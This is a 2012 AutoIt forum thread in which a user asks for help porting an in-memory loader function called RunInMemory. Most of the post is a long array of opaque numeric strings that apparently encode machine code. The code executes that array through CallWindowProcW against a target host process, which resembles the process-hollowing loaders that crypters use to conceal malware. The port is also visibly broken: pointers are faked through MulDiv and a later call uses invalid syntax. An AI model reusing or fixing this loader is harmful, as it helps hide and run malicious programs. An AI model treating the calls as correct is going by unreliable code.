NextCode Posted August 10, 2012 Share Posted August 10, 2012 Hi dudes , I tried to ported this asm code to Au3 , but dosen't work , someone can help , thanks a lot expandcollapse popupGlobal $AsmCode[161] Func RunInMemory($TargetHost ,$bBuffer) $AsmCode[0] = "3011782251321.1488@" $AsmCode[1] = "2842944510165.0021@" $AsmCode[2] = "21475170.7244@" $AsmCode[3] = "3039972698908.2734@" $AsmCode[4] = "0.0108@" $AsmCode[5] = "0@" $AsmCode[6] = "0@" $AsmCode[7] = "0@" $AsmCode[8] = "0@" $AsmCode[9] = "0@" $AsmCode[10] = "770918988510973.1328@" $AsmCode[11] = "609196292101137.4146@" $AsmCode[12] = "318076019310180.1508@" $AsmCode[13] = "-857485367476117.5446@" $AsmCode[14] = "399392180.8913@" $AsmCode[15] = "-706833318868351.5511@" $AsmCode[16] = "6879439133396.1731@" $AsmCode[17] = "763810498335316.3776@" $AsmCode[18] = "388654513.6166@" $AsmCode[19] = "98506041997.169@" $AsmCode[20] = "24964196938431.9488@" $AsmCode[21] = "22034984796.16@" $AsmCode[22] = "305625529718164.0704@" $AsmCode[23] = "-410459675325501.5192@" $AsmCode[24] = "-172419915909691.6991@" $AsmCode[25] = "150655457759015.8157@" $AsmCode[26] = "763810498295053.1535@" $AsmCode[27] = "-334758189796557.4082@" $AsmCode[28] = "763810498175933.6042@" $AsmCode[29] = "769693235337619.0272@" $AsmCode[30] = "658651445508203.5218@" $AsmCode[31] = "93228415366.4744@" $AsmCode[32] = "337544363.4688@" $AsmCode[33] = "-171181400105556.1333@" $AsmCode[34] = "-43143787013419.7499@" $AsmCode[35] = "-843073848963811.6758@" $AsmCode[36] = "586115344006226.9449@" $AsmCode[37] = "81903309047.8335@" $AsmCode[38] = "-170655782147139.7888@" $AsmCode[39] = "-296106572219468.926@" $AsmCode[40] = "-171744351251070.9758@" $AsmCode[41] = "478565684273270.0365@" $AsmCode[42] = "766128157362243.3@" $AsmCode[43] = "763822153521118.6688@" $AsmCode[44] = "-5798494293561.088@" $AsmCode[45] = "292876624.968@" $AsmCode[46] = "-303308424893800.028@" $AsmCode[47] = "18687314406408.1922@" $AsmCode[48] = "-814921249263117.9264@" $AsmCode[49] = "377936345376908.9026@" $AsmCode[50] = "914455950214871.0911@" $AsmCode[51] = "793381819255881.7282@" $AsmCode[52] = "247979454486563.4385@" $AsmCode[53] = "-842580059571706.7544@" $AsmCode[54] = "261953043.9225@" $AsmCode[55] = "1351124663940.1355@" $AsmCode[56] = "-5728895679889.4336@" $AsmCode[57] = "16435523184027.2177@" $AsmCode[58] = "453291086712582.9632@" $AsmCode[59] = "-171181401297649.6638@" $AsmCode[60] = "247984901789109.5093@" $AsmCode[61] = "763853927511347.5304@" $AsmCode[62] = "68764336814004.0238@" $AsmCode[63] = "377880083361326.677@" $AsmCode[64] = "58153857883.8015@" $AsmCode[65] = "-170634502550313.984@" $AsmCode[66] = "-6846382739763.962@" $AsmCode[67] = "217285200.5584@" $AsmCode[68] = "273152312385105.8024@" $AsmCode[69] = "13733354816300.6466@" $AsmCode[70] = "764000768607145.1648@" $AsmCode[71] = "17395153563837.4458@" $AsmCode[72] = "-353751767489869.7902@" $AsmCode[73] = "763363.3281@" $AsmCode[74] = "392094642558210.6624@" $AsmCode[75] = "764766522162398.7432@" $AsmCode[76] = "126410412043612.3678@" $AsmCode[77] = "27351427555.8027@" $AsmCode[78] = "11706747011255.5776@" $AsmCode[79] = "-757276053642969.088@" $AsmCode[80] = "360268856045024.0513@" $AsmCode[81] = "749398978656993.7514@" $AsmCode[82] = "12354147786351.6251@" $AsmCode[83] = "769693219347778.7648@" $AsmCode[84] = "414640788194904.6822@" $AsmCode[85] = "-171181417231738.2261@" $AsmCode[86] = "276807880992725.4373@" $AsmCode[87] = "-842805239553082.2424@" $AsmCode[88] = "37043291672.0721@" $AsmCode[89] = "507392545273423.744@" $AsmCode[90] = "769258247064186.1864@" $AsmCode[91] = "68764336812483.5886@" $AsmCode[92] = "360268875651665.0832@" $AsmCode[93] = "749398978495932.017@" $AsmCode[94] = "9651988025294.3009@" $AsmCode[95] = "769693219347778.7648@" $AsmCode[96] = "126410412042563.7942@" $AsmCode[97] = "-171294008471547.0205@" $AsmCode[98] = "-387449256181707.5451@" $AsmCode[99] = "363299752439103.6175@" $AsmCode[100] = "-410459675325517.2888@" $AsmCode[101] = "-172926570866094.7199@" $AsmCode[102] = "-635688100489173.3787@" $AsmCode[103] = "763810497261576.6376@" $AsmCode[104] = "126410412042144.3634@" $AsmCode[105] = "-843073849903335.4646@" $AsmCode[106] = "769693215773368.7817@" $AsmCode[107] = "414640788193698.8194@" $AsmCode[108] = "4951342415221.7475@" $AsmCode[109] = "4636260512845.0048@" $AsmCode[110] = "-171631782205882.368@" $AsmCode[111] = "507388721888441.1549@" $AsmCode[112] = "31815578412492.9256@" $AsmCode[113] = "-872572382190820.8041@" $AsmCode[114] = "-286501654647065.8048@" $AsmCode[115] = "-428658242031485.5343@" $AsmCode[116] = "3149895693349.6588@" $AsmCode[117] = "22752143878461.8496@" $AsmCode[118] = "10655039450.0177@" $AsmCode[119] = "19434514006.2976@" $AsmCode[120] = "2249161163731.9936@" $AsmCode[121] = "590215178835617.3824@" $AsmCode[122] = "-171519195984216.1688@" $AsmCode[123] = "334471606820667.3981@" $AsmCode[124] = "-6937148713125.7624@" $AsmCode[125] = "3006614124114.7186@" $AsmCode[126] = "457802337043140.7336@" $AsmCode[127] = "34749504.673@" $AsmCode[128] = "-843073850212036.239@" $AsmCode[129] = "536232810004781.4409@" $AsmCode[130] = "699902812802672.356@" $AsmCode[131] = "-439434742750697.5805@" $AsmCode[132] = "756604737376275.6714@" $AsmCode[133] = "869968633553.1604@" $AsmCode[134] = "450404738465.792@" $AsmCode[135] = "-7194094211452.1344@" $AsmCode[136] = "-1353710065018.4752@" $AsmCode[137] = "-439079356974065.2545@" $AsmCode[138] = "566676858034822.4232@" $AsmCode[139] = "32602016.4622@" $AsmCode[140] = "-7089160921751.4365@" $AsmCode[141] = "410061545662244.4496@" $AsmCode[142] = "617979275378688@" $AsmCode[143] = "725985904952471.1762@" $AsmCode[144] = "854193482151915.9435@" $AsmCode[145] = "-842159216757581.13@" $AsmCode[146] = "457592490565246.7766@" $AsmCode[147] = "17684902147728.7019@" $AsmCode[148] = "643884385768544.0491@" $AsmCode[149] = "622040492439682.185@" $AsmCode[150] = "842553683379673.7879@" $AsmCode[151] = "865826324060815.6483@" $AsmCode[152] = "233132869356380.6979@" $AsmCode[153] = "-841594865717950.1309@" $AsmCode[154] = "-598169487549740.1085@" $AsmCode[155] = "22006038477175.2068@" $AsmCode[156] = "843978581769276.108@" $AsmCode[157] = "-840178504924852.7391@" $AsmCode[158] = "-836852911227146.7764@" $AsmCode[159] = "643884385767650.3812@" $AsmCode[160] = "328436.0538@" Dllcall ("User32","int" ,"CallWindowProcW" , VarPtr($AsmCode[0]), "str" ,$TargetHost, VarPtr($bBuffer[0]), 0, 0) EndFunc Func VarPtr($v_Variable) Local $pointer, $debug = True $pointer = DllCall("Kernel32", "long", "MulDiv", "ptr", $v_Variable) Return $pointer EndFunc Link to comment Share on other sites More sharing options...
stormbreaker Posted August 10, 2012 Share Posted August 10, 2012 Now there, we have this for you: ---------------------------------------- :bye: Hey there, was I helpful? ---------------------------------------- My Current OS: Win8 PRO (64-bit); Current AutoIt Version: v3.3.8.1 Link to comment Share on other sites More sharing options...
NextCode Posted August 11, 2012 Author Share Posted August 11, 2012 Thanks man , can someone help with this call ? original code CallWindowProc VarPtr(Asm(0)), StrPtr(TargetHost), VarPtr(bBuffer(0)), 0, 0 I' am doing right whit parameters for this dllcall ? Dllcall ("User32","int" ,"CallWindowProcW" , "Ptr"($Asm[0]), "Str" ,$TargetHost, "Ptr"($bBuffer[0]), 0, 0) Thanks for help , Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now